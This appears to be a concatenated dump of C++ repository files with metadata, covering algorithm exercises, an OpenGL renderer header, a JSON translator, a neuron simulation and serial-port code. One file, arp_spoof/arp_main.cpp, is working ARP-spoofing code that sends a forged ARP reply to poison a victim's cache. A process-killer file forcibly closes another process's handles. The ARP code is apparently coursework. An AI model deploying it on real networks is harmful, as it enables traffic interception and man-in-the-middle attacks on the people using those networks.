[]
no_license
#include <iostream> #include <vector> #include <algorithm> using namespace std; int res = 0; int n, s; vector<int> v; void go(int now, int sum) { if (now >= n) return; //범위 초과 if (sum + v[now] == s) res++; //(현재 수를 더해서)찾음 go(now + 1, sum + v[now]); //현재 수를 더하는 경우 go(now + 1, sum); //현재 수를 더하지 않는 경우 } int main() { cin >> n >> s; v.resize(n + 1); for (int i = 0; i < n; i++) { cin >> v[i]; } go(0, 0); cout << res; }
true
b134144deca1de9f6fbaf71870770f22496e80f0
C++
audxo14/Network
/arp_spoof/arp_main.cpp
UTF-8
2,807
2.703125
3
[]
no_license
// arp_main.cpp #include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <pcap.h> #include <libnet.h> #include <string.h> #include "arp_spoof.h" void arp_main(u_char *s_mac, u_char *d_mac, u_char *r_mac, u_char *f_mac, struct in_addr s_ip, struct in_addr d_ip, struct in_addr r_ip) { struct libnet_ethernet_hdr *eth_hdr; //ethernet header struct libnet_arp_hdr *arp_hdr; //arp hedaer struct pcap_pkthdr *header; //packet header pcap_t *handle = NULL; const int arp_size = 42; //arp_packet size (ether + arp) char errbuf[PCAP_ERRBUF_SIZE]; char dev[] = "eth0"; bpf_u_int32 mask; bpf_u_int32 net; u_char *packet; //For the packet we send const u_char *reply; //For arp reply packet char buf[INET_ADDRSTRLEN]; //For d_ip address int index = 0; packet = (u_char *)malloc(arp_size); eth_hdr = (struct libnet_ethernet_hdr *)malloc(sizeof(struct libnet_ethernet_hdr)); arp_hdr = (struct libnet_arp_hdr *)malloc(sizeof(struct libnet_arp_hdr)); memset(packet, 0, arp_size); //initiallize the packet memory with 0's if(pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf); net = 0; mask = 0; } handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); if(handle == NULL) { fprintf(stderr, "%s\n", errbuf); exit(1); } send_arp(packet, s_mac, d_mac, s_ip, d_ip, handle, header, 1); while(1) //Check the packets! { index++; pcap_next_ex(handle, &header, &reply); if(get_arp(reply, s_mac, d_mac, d_ip) == 1) break; if(index > 50) //If we check more than 50 packets { printf("No ARP REPLY packet is captured\n"); exit(1); } } printf("\nSender MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n", d_mac[0], d_mac[1], d_mac[2], d_mac[3], d_mac[4], d_mac[5]); printf("Sender IP address: %s\n\n", inet_ntop(AF_INET, &d_ip, buf, sizeof(buf))); //Receiver Part send_arp(packet, s_mac, r_mac, s_ip, r_ip, handle, header, 1); //Send arp to Receiver while(1) //Check the packets! { index++; pcap_next_ex(handle, &header, &reply); if(get_arp(reply, s_mac, r_mac, d_ip) == 1) break; if(index > 50) //If we check more than 50 packets { printf("No ARP REPLY packet is captured\n"); exit(1); } } printf("Receiver MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n", r_mac[0], r_mac[1], r_mac[2], r_mac[3], r_mac[4], r_mac[5]); printf("Receiver IP address: %s\n\n", inet_ntop(AF_INET, &d_ip, buf, sizeof(buf))); printf("Infect Sender ARP!\n"); send_arp(packet, f_mac, d_mac, r_ip, d_ip, handle, header, 2); //Send fake ARP reply to sender //send_arp(packet, s_mac, r_mac, s_ip, r_ip, handle, header, 2); //Send fake ARP reply to sender free(packet); free(eth_hdr); free(arp_hdr); pcap_close(handle); }
true
449564fc8e0e0000149e6bebba338da55a8913d1
C++
face4/AOJ
/Volume01/0154.cpp
UTF-8
1,381
2.953125
3
[]
no_license
/* // 枝狩り無し全探索だと流石にきついか? -> 普通に0.43secで通った #include<iostream> #include<vector> #include<algorithm> using namespace std; vector<pair<int,int>> v; int m, ans; void dfs(int pos, int res){ if(res == 0){ ans++; return; } if(pos == m) return; for(int j = min(v[pos].second, res/v[pos].first); j >= 0; j--){ dfs(pos+1, res-j*v[pos].first); } } int main(){ while(cin >> m, m){ v.resize(m); for(int i = 0; i < m; i++) cin >> v[i].first >> v[i].second; sort(v.rbegin(), v.rend()); int g, n; cin >> g; while(g-- > 0){ cin >> n; ans = 0; dfs(0, n); cout << ans << endl; } } return 0; } */ // 恐らく想定解であるDP #include<iostream> using namespace std; int main(){ int m; while(cin >> m, m){ int a, b, dp[1001] = {}, g, n; dp[0] = 1; for(int i = 0; i < m; i++){ cin >> a >> b; for(int j = 1000; j >= 0; j--){ for(int k = 1; k <= b; k++){ if(j-a*k < 0) break; dp[j] += dp[j-a*k]; } } } cin >> g; while(g-- > 0){ cin >> n; cout << dp[n] << endl; } } return 0; }
true
e625b82180745b5d0d92e149aca5c00f8c54f155
C++
mycmessia/Advanced-Graphics-for-Games-CSC8502-2016-17
/nclgl/OGLRenderer.h
UTF-8
4,125
2.578125
3
[]
no_license
#pragma once /* Class:OGLRenderer Author:Rich Davison <richard.davison4@newcastle.ac.uk> Description:Abstract base class for the graphics tutorials. Creates an OpenGL 3.2 CORE PROFILE rendering context. Each lesson will create a renderer that inherits from this class - so all context creation is handled automatically, but students still get to see HOW such a context is created. -_-_-_-_-_-_-_,------, _-_-_-_-_-_-_-| /\_/\ NYANYANYAN -_-_-_-_-_-_-~|__( ^ .^) / _-_-_-_-_-_-_-"" "" */ #include "Common.h" #include <string> #include <fstream> #include <vector> #include "GL/glew.h" #include "GL/wglew.h" #include "SOIL.h" #include "Vector4.h" #include "Vector3.h" #include "Vector2.h" #include "Quaternion.h" #include "Matrix4.h" #include "Window.h" #include "Light.h" #include "Shader.h" //Students make this file... #include "Mesh.h" //And this one... using std::vector; #pragma comment(lib, "opengl32.lib") #pragma comment(lib, "glew32.lib") #pragma comment(lib, "SOIL.lib") #ifdef _DEBUG #define GL_BREAKPOINT glUniform4uiv(0,0,0);//Invalid, but triggers gdebugger ;) #else #define GL_BREAKPOINT // #endif //#define OPENGL_DEBUGGING static const float biasValues[16] = { 0.5, 0.0, 0.0, 0.0, 0.0, 0.5, 0.0, 0.0, 0.0, 0.0, 0.5, 0.0, 0.5, 0.5, 0.5, 1.0 }; static const Matrix4 biasMatrix (const_cast<float*>(biasValues)); enum DebugDrawMode { DEBUGDRAW_ORTHO, DEBUGDRAW_PERSPECTIVE }; struct DebugDrawData { vector<Vector3> lines; vector<Vector3> colours; GLuint array; GLuint buffers[2]; DebugDrawData (); void Draw (); ~DebugDrawData () { glDeleteVertexArrays (1, &array); glDeleteBuffers (2, buffers); } inline void Clear () { lines.clear (); colours.clear (); } inline void AddLine (const Vector3 &from, const Vector3 &to, const Vector3 &fromColour, const Vector3 &toColour) { lines.push_back (from); lines.push_back (to); colours.push_back (fromColour); colours.push_back (toColour); } }; class Shader; class OGLRenderer { public: friend class Window; OGLRenderer (Window &parent); virtual ~OGLRenderer (void); virtual void RenderScene () = 0; virtual void UpdateScene (float msec); void SwapBuffers (); bool HasInitialised () const; static void DrawDebugLine (DebugDrawMode mode, const Vector3 &from, const Vector3 &to, const Vector3 &fromColour = Vector3 (1, 1, 1), const Vector3 &toColour = Vector3 (1, 1, 1)); static void DrawDebugBox (DebugDrawMode mode, const Vector3 &at, const Vector3 &scale, const Vector3 &colour = Vector3 (1, 1, 1)); static void DrawDebugCross (DebugDrawMode mode, const Vector3 &at, const Vector3 &scale, const Vector3 &colour = Vector3 (1, 1, 1)); static void DrawDebugCircle (DebugDrawMode mode, const Vector3 &at, const float radius, const Vector3 &colour = Vector3 (1, 1, 1)); void SetAsDebugDrawingRenderer () { debugDrawingRenderer = this; } Shader* GetCurrentShader () const { return currentShader; } protected: virtual void Resize (int x, int y); void UpdateShaderMatrices (); void SetCurrentShader (Shader*s); void SetTextureRepeating (GLuint target, bool state); void DrawDebugPerspective (Matrix4*matrix = 0); void DrawDebugOrtho (Matrix4*matrix = 0); Shader* currentShader; void SetShaderLight (const Light &l); Matrix4 projMatrix; //Projection matrix Matrix4 modelMatrix; //Model matrix. NOT MODELVIEW Matrix4 viewMatrix; //View matrix Matrix4 textureMatrix; //Texture matrix int width; //Render area width (not quite the same as window width) int height; //Render area height (not quite the same as window height) bool init; //Did the renderer initialise properly? HDC deviceContext; //...Device context? HGLRC renderContext; //Permanent Rendering Context static DebugDrawData* orthoDebugData; static DebugDrawData* perspectiveDebugData; static OGLRenderer* debugDrawingRenderer; static Shader* debugDrawShader; #ifdef _DEBUG static void CALLBACK DebugCallback (GLuint source, GLuint type, GLuint id, GLuint severity, int length, const char* message, void* userParam); #endif static bool drawnDebugOrtho; static bool drawnDebugPerspective; };
true
5a67bf4b4c73b05f857ea34e3f9ad2ead5e8aee5
C++
mflagel/asdf_multiplat
/gurps_track/src/ui/character/skill_list.cpp
UTF-8
2,227
2.578125
3
[ "MIT" ]
permissive
#include "stdafx.h" #include "skill_list.h" #include "data/character.h" using namespace std; using namespace mk; namespace gurps_track { using namespace data; namespace ui { namespace character { skill_list_entry_t::skill_list_entry_t(skill_list_t& _parent, size_t _index) : Expandbox(" ", true) , description(emplace<Label>("dsc")) , parent(_parent) , index(_index) { auto improve_skill = [this](Button&) -> void { if(parent.character.improve_skill(index)) { learned_skill_t const& learned_skill = parent.character.skills[index]; effective_skill->setLabel(to_string(learned_skill.get_effective_skill(parent.character))); } }; auto un_improve_skill = [this](Button&) -> void { /// TODO: LOG("TODO: un_improve button callback"); }; name = &mHeader->emplace<Label>("n"); difficulty = &mHeader->emplace<Label>("d"); point_cost = &mHeader->emplace<Label>("[-]"); effective_skill = &mHeader->emplace<Label>("-"); improve_btn = &mHeader->emplace<Button>("+", std::move(improve_skill) ); un_improve_btn = &mHeader->emplace<Button>("-", std::move(un_improve_skill) ); set_data(parent.character, index); collapse(); } void skill_list_entry_t::set_data(data::character_t const& character, size_t skill_index) { learned_skill_t const& learned_skill = character.skills[skill_index]; auto const& skill = learned_skill.skill; name->setLabel(skill.name); difficulty->setLabel( "(" + skill.difficulty_string() + ")" ); point_cost->setLabel( "[" + to_string(learned_skill.point_cost()) + "] " ); effective_skill->setLabel(to_string(learned_skill.get_effective_skill(character))); // description.setLabel(skill.description); description.setLabel("test description"); } skill_list_t::skill_list_t(data::character_t& _character) : character(_character) { //todo: make the tab rebuild automatically if the number of learned // skills changes emplace<Button>("Refresh", [this](Button&){ rebuild(); }); list = &emplace<List>(); rebuild(); } void skill_list_t::rebuild() { list->clear(); for(size_t i = 0; i < character.skills.size(); ++i) { list->emplace<skill_list_entry_t>(*this, i); } } } } }
true
179c0e0b3562c2ac98c06ee1e119c1ac1d145045
C++
KanColleTool/kclib
/src/LKStreamTranslator.h
UTF-8
2,646
2.875
3
[]
no_license
#ifndef LKSTREAMTRANSLATOR_H #define LKSTREAMTRANSLATOR_H #include "LKTranslator.h" #include <yajl_parse.h> #include <yajl_gen.h> #include <string> #include <vector> #include <sstream> /** * In-stream translator for JSON streams, built on top of * [YAJL](https://lloyd.github.io/yajl/). * * \warning A Stream Translator object is meant to be used only for a single * stream, then discarded; using a single instance to parse multiple streams in * succession will throw an exception about "trailing garbage". */ class LKStreamTranslator { public: /// \private Parser context structure. struct ctx_t { LKTranslator &translator; yajl_handle parser; yajl_gen gen; std::string lastPathComponent; std::string currentKey; }; /** * Constructs a Stream Translator. * * @param translator A translator for translating strings in the stream * @param lastPathComponent The last component of the path to this stream, * for mising line reporting purposes */ LKStreamTranslator(LKTranslator &translator, std::string lastPathComponent = ""); virtual ~LKStreamTranslator(); /** * Processes a chunk, making any substitutions necessary and returning it. * * If the chunk ends in the middle of a value, that value will be withheld * until enough chunks have been fed to the stream parser to complete it. */ std::vector<char> process(const std::vector<char> &chunk); /// \overload std::string process(const std::string &string); /// \private YAJL Callback to handle null values static int handle_null(void *ctx); /// \private YAJL Callback to handle boolean values static int handle_boolean(void *ctx, int boolVal); /// \private YAJL Callback to handle number values static int handle_number(void *ctx, const char *numberVal, size_t numberLen); /// \private YAJL Callback to handle string values static int handle_string(void *ctx, const unsigned char *stringVal, size_t stringLen); /// \private YAJL Callback to handle the start of a map static int handle_start_map(void *ctx); /// \private YAJL Callback to handle a key (string) in a map static int handle_map_key(void *ctx, const unsigned char *key, size_t stringLen); /// \private YAJL Callback to handle the end of a map static int handle_end_map(void *ctx); /// \private YAJL Callback to handle the start of an array static int handle_start_array(void *ctx); /// \private YAJL Callback to handle the end of an array static int handle_end_array(void *ctx); protected: /// \private The current parser context ctx_t ctx; /// \private YAJL callback structure yajl_callbacks callbacks = { nullptr }; }; #endif
true
4cbb53d9a73b5ca0f334120a1180fad11a39da61
C++
munraito/made-algo
/solutions/W11_graphs-2 (BFS)/B_dijkstra.cpp
UTF-8
1,281
3.078125
3
[]
no_license
#include <iostream> #include <climits> #include <set> #include <vector> using namespace std; void dijkstra_shortest_path(const vector <vector<pair<int,int>> >& g, int n) { int start = 0; vector<unsigned long long> dist(n, ULONG_LONG_MAX); set<pair<int,int> > q; dist[start] = 0; q.insert(make_pair(dist[start], start)); while (!q.empty()) { int v = q.begin()->second; q.erase(q.begin()); for (auto i : g[v]) { int u = i.first, weight = i.second; if (dist[u] > dist[v] + weight){ q.erase(make_pair(dist[u], u)); dist[u] = dist[v] + weight; q.insert(make_pair(dist[u], u)); } } } for (auto d : dist) { cout << d << " "; } } int main() { // fast IO ios::sync_with_stdio(false); cin.tie(nullptr); cout.tie(nullptr); // input int n, m, from, to, weight; cin >> n >> m; vector <vector<pair<int,int>> > g (n, vector<pair<int,int>>()); for (int i = 0; i < m; ++i) { cin >> from >> to >> weight; from--; to--; g[from].push_back(make_pair(to, weight)); g[to].push_back(make_pair(from, weight)); } dijkstra_shortest_path(g, n); return 0; }
true
2851612a79be52701a995bab65fb18ab8a33da87
C++
SaberQ/leetcode
/src/ReverseNodesInKGroup.cpp
UTF-8
880
3.1875
3
[]
no_license
#include "ReverseNodesInKGroup.hpp" ListNode* ReverseNodesInKGroup::reverseKGroup(ListNode* head, int k) { if (head == nullptr || k == 1) return head; ListNode* prev = nullptr; ListNode* a = head; ListNode* b = a; for (int i = 1; i < k; i++) { b = b->next; if (b == nullptr) return head; } ListNode* next = b->next; head = b; ListNode* p = a; ListNode* q = p->next; while (p != b) { ListNode* t = q->next; q->next = p; p = q; q = t; } a->next = next; while (next != nullptr) { prev = a; a = next; b = a; for (int i = 1; i < k; i++) { b = b->next; if (b == nullptr) return head; } next = b->next; prev->next = b; p = a; q = p->next; while (p != b) { ListNode* t = q->next; q->next = p; p = q; q = t; } a->next = next; } return head; }
true
d9d30aa523b70381a5f7c78f34c9aa311733707f
C++
ohio813/MyTerminateProcess
/MyTerminateProcess/src/MyTerminateProcess.cpp
UTF-8
3,888
2.640625
3
[]
no_license
#include <windows.h> #include <stdio.h> #define NT_SUCCESS(x) ((x) >= 0) #define SystemHandleInformation 16 #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 typedef NTSTATUS (NTAPI *NTQUERYSYSTEMINFORMATION)(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); /* The following structure is actually called SYSTEM_HANDLE_TABLE_ENTRY_INFO, but SYSTEM_HANDLE is shorter. */ typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; bool CloseProcessHandles( DWORD dwProcessId, HANDLE hProcessHandle ) { NTQUERYSYSTEMINFORMATION NtQuerySystemInformation; PSYSTEM_HANDLE_INFORMATION handleInfo = NULL; ULONG handleInfoSize = 0x10000; NTSTATUS NtStatus = 0; HANDLE hDuplicateHandle = NULL; bool fResult = false; NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation"); if ( NtQuerySystemInformation == NULL ) { return fResult; } // // NtQuerySystemInformation won't give us the correct buffer size, so we have to guess it // handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while (handleInfo != NULL) { NtStatus = NtQuerySystemInformation(SystemHandleInformation, &handleInfo, handleInfoSize, NULL); if ( NtStatus == STATUS_INFO_LENGTH_MISMATCH ) { handleInfoSize *= 2; PSYSTEM_HANDLE_INFORMATION pTemp = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize); if ( pTemp == NULL ) { // // error, no memory anymore... // printf( "not enough memory (alloc %u bytes)!\n", handleInfoSize ); break; } handleInfo = pTemp; } else break; } if ( NT_SUCCESS(NtStatus) && handleInfo ) { // // allocated buffer, duplicate handle and close handle // for ( unsigned int n = 0; n < handleInfo->HandleCount; n++ ) { SYSTEM_HANDLE handle = handleInfo->Handles[n]; if ( handle.ProcessId != dwProcessId ) continue; if ( DuplicateHandle(hProcessHandle, (HANDLE)handle.Handle, GetCurrentProcess(), &hDuplicateHandle, 0, FALSE, DUPLICATE_CLOSE_SOURCE) == FALSE ) { printf( "can't get handle %08x from process %u", handle.Handle, handle.ProcessId ); continue; } CloseHandle( hDuplicateHandle ); if ( !fResult ) fResult = true; } } free(handleInfo); handleInfo = NULL; return fResult; } //void PrintLastError() //{ // DWORD dwError; // char* szErrorMessage = NULL; // // dwError = GetLastError(); // FormatMessageA( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwError, 0, szErrorMessage, 0, NULL ); // // printf( "Error Code: %u\nError Message: %s\n", dwError, szErrorMessage ); // // LocalFree( szErrorMessage ); //} bool KillProcess( DWORD dwProcessId ) { HANDLE hProcess = NULL; bool fResult = false; printf( "Killing process %u ...\n", dwProcessId ); hProcess = OpenProcess( PROCESS_TERMINATE | PROCESS_DUP_HANDLE, FALSE, dwProcessId ); if ( hProcess == NULL ) { printf( "OpenProcess failed!\n" ); //PrintLastError(); return fResult; } if (TerminateProcess(hProcess, 0) == FALSE) { // // TerminateProcess failed, try to close all handles - because the program might wait for some open handles // // ignore file-system handles // fResult = CloseProcessHandles( dwProcessId, hProcess ); } // close handle CloseHandle( hProcess ); return fResult; } int main(int argc, char* argv[]) { DWORD dwProcessId; if ( argc == 2 ) { dwProcessId = atol(argv[1]); KillProcess( atol(argv[1]) ); } else { printf( "usage: myterminateprocess.exe <process-id>\n" ); } return 0; }
true
eefc2f20440b72136ec619ef638b9dcbdfa48b11
C++
xiaoweix/myCode
/009数组的输入输出.cpp
GB18030
378
3.140625
3
[]
no_license
/*10 10ַת 0 1 2 3 4 5 6 7 8 9 9 8 7 6 5 4 3 2 1 0 */ #include<stdio.h> int main() { int shuz[10]; //Ҫ // [鳤] int i; for(i=0;i<10;i++)// scanf("%d",&shuz[i]); for(i=9;i>=0;i--)// printf("%d ",shuz[i]); return 0; }
true
9e85d093a295bbb9b3cefc1903ea1bb5a941fdee
C++
luckywolf/LCode
/c3_regularExpressMatching.h
UTF-8
1,967
3.703125
4
[]
no_license
/* https://oj.leetcode.com/problems/regular-expression-matching/ Implement regular expression matching with support for '.' and '*'. '.' Matches any single character. '*' Matches zero or more of the preceding element. The matching should cover the entire input string (not partial). The function prototype should be: bool isMatch(const char *s, const char *p) Some examples: isMatch("aa","a") -> false isMatch("aa","aa") -> true isMatch("aaa","aa") -> false isMatch("aa", "a*") -> true isMatch("aa", ".*") -> true isMatch("ab", ".*") -> true isMatch("aab", "c*a*b") -> true */ class Solution { public: // recursive // http://leetcode.com/2011/09/regular-expression-matching.html bool isMatch_1(const char *s, const char *p) { if (*p == '\0') { return *s == '\0'; } if (*(p+1) == '*') { while ((*p == *s || *p == '.') && *s != '\0') { if (isMatch_1(s, p+2)) { return true; } s++; } return isMatch_1(s, p+2); } if (*s == '\0') { return false; } return (*p == *s || *p == '.') && isMatch_1(s+1, p+1); } // solution 2, recursive // http://n00tc0d3r.blogspot.com/2013/05/regular-expression-matching.html?view=flipcard bool isMatch(const char *s, const char *p) { if (!s) { return !p; } if (*p == '\0') { return *s == '\0'; } // next char is not '*': do current char match? if (*(p+1) == '\0' || *(p+1) != '*') { if (*s == '\0') { return false; } return ((*p == '.' || *s == *p) && isMatch(++s, ++p)); } // next char is '*' // current char match, zero or more repeats while (*s != '\0' && (*p == '.' || *s == *p)) { if (isMatch(s, p+2)) { return true; } s++; } // zero return isMatch(s, p+2); } };
true
ae96612f7c4191d5c2f2dbce75e193ee22bc6d9a
C++
akshayMore2018/SFML-Project
/sfmlproject/sfmlproject/TextureManager.cpp
UTF-8
698
2.953125
3
[]
no_license
#include "TextureManager.h" TextureManager* TextureManager::instance = 0; TextureManager::TextureManager() { } TextureManager * TextureManager::getInstance() { if (!instance) { instance = new TextureManager(); } return instance; } void TextureManager::loadTexture(const std::string& ID,const std::string & file) { if (!textureMap[ID].loadFromFile(file)) { std::cout << "Couldn't load file :" << file << std::endl; } else { std::cout << "loaded :" << file << std::endl; } } void TextureManager::loadFont(const std::string & ID, const std::string & file) { if (!fontMap[ID].loadFromFile(file)) { std::cout << "Couldn't load file :" << file << std::endl; system("pause"); } }
true
195b4fa8503ca7768221583d71ca5b9a8f5784c5
C++
leurekay/Projects
/sort/sort/aa.cpp
UTF-8
451
3.234375
3
[]
no_license
#include<iostream> using namespace std; void swap(int &x, int &y) { int temp; temp = x; x = y; y = temp; } int main() { int i, j; cin >> i >> j; cout << i << " "<<j << endl; swap(i, j); cout << i << " " << j << endl; int a[][2]= { 0,1,2,3,4,5}; for (i = 0; i < 3; i++) { for (j = 0; j < 2; j++) { cout << "a[" << i << "]" << "[" << j << "]=" << a[i][j] << endl; } } cout << &i << endl; system("pause"); return 0; }
true
f25599b321a9b8983c07ca8584433a374aa1678d
C++
apurvjain9999/Computer-Graphics-Lab
/lab5/3d_reflection.cpp
UTF-8
614
3.15625
3
[ "Apache-2.0" ]
permissive
#include<iostream> using namespace std; int main() { int pts[3]; cout<<"Enter the co-ordinate point: "; cin>>pts[0]>>pts[1]>>pts[2]; int plane; cout<<"Enter the plane about which the point is to be reflected(0 for y-z, 1 for z-x, 2 for x-y): "<<endl; cin>>plane; int pr[3]; int i=0; pr[plane] = -pts[plane]; pr[(plane+1)%3] = pts[(plane+1)%3]; pr[(plane+2)%3] = pts[(plane+2)%3]; cout<<"Original point: ("<<pts[0]<<","<<pts[1]<<","<<pts[2]<<")"<<endl; cout<<"Rotated points: ("<<pr[0]<<","<<pr[1]<<","<<pr[2]<<")"<<endl; return 0; }
true
f1606eaa9688ef587e775d29f23fbd9cce41353b
C++
saneto/c-
/cour merlet/TP19_Liaison_RS232/Partie_5E.cpp
UTF-8
3,483
2.78125
3
[]
no_license
#include <stdio.h> #include <unistd.h> #include <termios.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int main() { /* 1 ouvrir le fichier associé au port série virtuel 2 configurer la voie de communication entre le système et le port série conformément aux informations indiquées ci-dessus; 3 demander à l'utilisateur de saisir les messages à envoyer, et les transmettre jusqu'à ce que l'utilisateur saisisse un mot ou un caractère (à choisir) qui indique qu'il souhaite quitter le programme; 4 fermer le fichier associé au port série virtuel. */ //1 int fd, res; char caractere = '0'; struct termios termiosI, termiosM; fd = open("/dev/ttyUSB0",O_WRONLY); /* ouverture en lecture seule : récepteur */ if (fd == -1) { /* Ne pas oublier de tester si l'ouverture a réussi */ printf ("Erreur d’ouverture!\n"); } //2 res = tcgetattr(fd, &termiosI); /* Récupération dans la variable termiosI des paramètres de la voie de communication entre le système et le port série associé au descripteur fd */ if (res == -1) { /* Ne pas oublier de tester si l'appel de la fonction a réussi*/ printf ("Pb d'accès en consultation aux paramètres de la voie de communication!\n"); } termiosM = termiosI; //8 termiosM.c_cflag &= ~CSIZE; termiosM.c_cflag |= CS8; //8E termiosM.c_cflag |= PARENB; termiosM.c_cflag &= ~PARODD; //8E1 termiosM.c_cflag &= ~CSTOPB; //désactivés termiosM.c_lflag &= ~ICANON; termiosM.c_lflag &= ~ISIG; termiosM.c_lflag &= ~ECHOE; termiosM.c_lflag &= ~ECHO; termiosM.c_lflag &= ~CREAD; //activés termiosM.c_cflag |= HUPCL; termiosM.c_cflag |= CLOCAL; termiosM.c_iflag |= IGNBRK; termiosM.c_iflag |= IGNPAR; termiosM.c_iflag |= INPCK; termiosM.c_iflag |= PARMRK; termiosM.c_oflag = 0; termiosM.c_cc[VMIN] = 1; termiosM.c_cc[VTIME] = 0; res = cfsetospeed(&termiosM, B19200); if (res == -1) { printf ("Pb lors de la modification de la vitesse d'entrée!\n"); } res = cfsetispeed(&termiosM, B19200); if (res == -1) { printf ("Pb lors de la modification de la vitesse d'entrée!\n"); } res = tcsetattr(fd, TCSANOW, &termiosM);/* Installation des nouveaux paramètres de la voie de communication entre le système et le port série */ if (res == -1) { /* Ne pas oublier de tester si l'appel de la fonction a réussi*/ printf ("Pb lors de l'installation des nouveaux paramètres de la voie de communication!\n"); } /* Utilisation du port série [read(fd); write(fd, ..);] ) */ printf("Saisissez le message à envoyer ('$' pour quitter) :"); while (caractere != '$') { scanf("%c", &caractere); write(fd, &caractere, 1); } res = tcsetattr(fd, TCSANOW, &termiosI);/* A la fin du programme, réinstallation des paramètres initiaux de la voie de communication entre le système et le port série */ if (res == -1) { /* Ne pas oublier de tester si l'appel de la fonction a réussi*/ printf ("Pb lors de la réinstallation des paramètres initiaux!\n"); } return 0; }
true
dd2f6ce966c1777b44dec218da0d96416ef768fc
C++
nhazekam/cse_20232
/lectures/lecture_14/main.cpp
UTF-8
329
2.609375
3
[]
no_license
#include <iostream> #include <string> #include "complex.hpp" using namespace std; int main() { Complex c1(); c1.showComplexValues(); Complex c2(2.0, 0.0); c2.showComplexValues(); c2.assignNewValues(4.0, 2.0); c1.showComplexValues(); c2.showComplexValues(); Complex c3(c2); c3.showComplexValues(); return 0; }
true
d2269576a5f88e3b2ac19fed8ed5e23399f54e85
C++
SIRUGUE/cppcourse-brunel
/src/neuron.cpp
UTF-8
6,536
2.578125
3
[]
no_license
#include <iostream> #include <fstream> #include <cmath> #include <random> #include <cassert> #include "neuron.hpp" using namespace std; ///CONSTRUCTOR /** @param n :neuron number * @param MP : membrane potential * @param NS : number of spikes * @param TS : time spikes * @param TR : time refractory * @param j : value given to other neurons when the neuron spikes * @param i : Input current * @param d : delay * */ Neuron::Neuron () : N(1), MembranePotential(0.0), NbSpikes(0), TimeSpikes(0.0), TimeRefractory(0), J(0.1), Iext (0.0), delay (1.5), buffer (16, 0.0) { } ///CONSTRUCTOR /** @param n :neuron number * @param MP : membrane potential * @param NS : number of spikes * @param TS : time spikes * @param TR : time refractory * @param j : value given to other neurons when the neuron spikes * @param i : Input current * @param d : delay * */ Neuron:: Neuron (int n=1, double MP =0.0, int NS=0, double TS=0.0, int TR=0, double j=0.1, double i=0.0, double d=1.5 ) : N (n), MembranePotential(MP), NbSpikes(NS), TimeSpikes(TS), TimeRefractory(TR), J(j), Iext (i), delay (d), buffer (16, 0.0) { } ///CONSTRUCTOR /** @param n :neuron number * @param j : value given to other neurons when the neuron spikes */ Neuron:: Neuron (double n, double j) : N(n), MembranePotential(0.0), NbSpikes(0.0), TimeSpikes(0.0), TimeRefractory(0.0), J(j), Iext(0.0), delay(1.5), buffer (16, 0.0) {} /// GETTER /** @return : MembranePotential */ double Neuron:: getMembranePotential() const { return MembranePotential; } /// GETTER /** @return : NbSpikes */ int Neuron:: getNbSpikes() const { return NbSpikes; } /// GETTER /** @return : TimeSpikes */ double Neuron:: getTimeSpikes() const { return TimeSpikes; } /// GETTER /** @return : TimeRefractory */ int Neuron:: getTimeRefractory() const { return TimeRefractory; } /// GETTER /** @return : Vreset */ double Neuron:: getVreset() const { return Vreset; } /// GETTER /** @return : Vthr */ double Neuron:: getVthr() const { return Vthr; } /// GETTER /** @return : tau */ double Neuron:: getTau() const { return tau; } /// GETTER /** @return : h */ double Neuron:: geth() const { return h; } /// GETTER /** @return : J */ double Neuron :: getJ() const { return J; } /// GETTER /** @return : delay */ double Neuron :: getDelay() const { return delay; } /// GETTER /** @return : N */ int Neuron :: getN() const { return N; } /// SETTEUR /** @param MB : value affected to MembranePotential */ void Neuron:: setMembranePotential(double MB){ MembranePotential = MB; } /// SETTEUR /** @param NS : value affected to NbSpikes */ void Neuron:: setNbSpikes(int NS){ NbSpikes = NS; } /// SETTEUR /** @param TS : value affected to TimeSpikes */ void Neuron:: setTimeSpikes (double TS){ TimeSpikes = TS; } /// SETTEUR /** @param TR : value affected to TimeRefractory */ void Neuron:: setTimeRefractory (int TR){ TimeRefractory = TR; } /// SETTEUR /** @param i : value affected to Iext */ void Neuron :: setI (double i) { Iext = i ; } /// SETTEUR /** @param d : value affected to delay */ void Neuron :: setDelay (double d) { delay = d; } /// UPDATE MEMBRANE POTENTIAL WITHOUT BACKGROUND NOISE /** @return : void */ void Neuron:: updateMembranePotential (){ int n= static_cast<int> (TimeSpikes/h) ; int m (n%16); MembranePotential = c1*MembranePotential +Iext*c2*(1-c1) + buffer [m]; buffer [m] =0.0 ; // after having taking the value in the right buffer position, we reset it to zero } /// UPDATE MEMBRANE POTENTIAL WITH BACKGROUND NOISE /** @return : void */ void Neuron:: updateMembranePotential_rand (){ int n= static_cast<int> (TimeSpikes/h) ; int m (n%16); random_device rd; mt19937 gen(rd()); poisson_distribution<> d(2); //to generate rand spikes for the rest of the brain MembranePotential = c1*MembranePotential +Iext*c2*(1-c1) + buffer [m] + 0.1*d(gen) ; buffer [m] =0.0 ; // after having taken the value in the right buffer position, we reset it to zero } /// WRITE ON THE FILE TEST.TXT TIMES SPIKES AND NEURON NUMBER TO CREATE GRAPHS /** @return : void */ void Neuron :: write() { ofstream sortie; sortie.open("test.txt", ios::out | ios:: app ); sortie << TimeSpikes << "," << N << endl; sortie.close(); } /// 